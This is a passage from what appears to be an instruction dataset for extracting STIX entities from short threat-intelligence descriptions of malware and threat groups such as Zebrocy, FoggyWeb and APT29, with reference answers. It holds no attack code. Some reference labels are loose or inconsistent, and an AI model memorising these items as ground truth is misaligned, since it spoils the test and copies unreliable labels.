    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. \n",
    "output": "<entities>StreamEx|Deep Panda|Korean</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCardinal RAT can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.\n",
    "output": "<entities>Cardinal RAT|Windows|Microsoft</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZebrocy has the capability to upload dumper tools that extract credentials from web browsers and store them in database files.\n",
    "output": "<entities>Zebrocy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNaid collects a unique identifier (UID) from a compromised host.\n",
    "output": "<entities>Naid</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSykipot may use net view /domain to display hostnames of available systems on a network.\n",
    "output": "<entities>Sykipot|net</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNKAbuse is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.\n",
    "output": "<entities>NKAbuse|Go</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPOSHSPY downloads and executes additional PowerShell code and Windows binaries.\n",
    "output": "<entities>POSHSPY|Windows|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTajMahal has the ability to identify running processes and associated plugins on an infected host.\n",
    "output": "<entities>TajMahal</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nExaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.\n",
    "output": "<entities>Windows|Linux|Exaramel|Go</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKe3chang backdoor RoyalDNS established persistence through adding a service called Nwsapagent.\n",
    "output": "<entities>RoyalDNS|Nwsapagent|Ke3chang</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFoggyWeb is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by APT29 since at least early April 2021.\n",
    "output": "<entities>FoggyWeb|Active Directory Federated Services|APT29</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFatDuke can be controlled via a custom C2 protocol over HTTP.\n",
    "output": "<entities>FatDuke|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBrainTest is a family of Android malware.\n",
    "output": "<entities>BrainTest|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDoubleAgent is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.\n",
    "output": "<entities>DoubleAgent|Chinese government|Chinese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#. \n",
    "output": "<entities>RogueRobin|DarkHydrus|PowerShell|C#</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGCMAN uses Putty for lateral movement.\n",
    "output": "<entities>Putty|GCMAN</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRemexi performs exfiltration over BITSAdmin, which is also used for the C2 channel.\n",
    "output": "<entities>Remexi|BITSAdmin|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSiloscape searches for the kubectl binary.\n",
    "output": "<entities>Siloscape|kubectl</entities>"
  },
  {
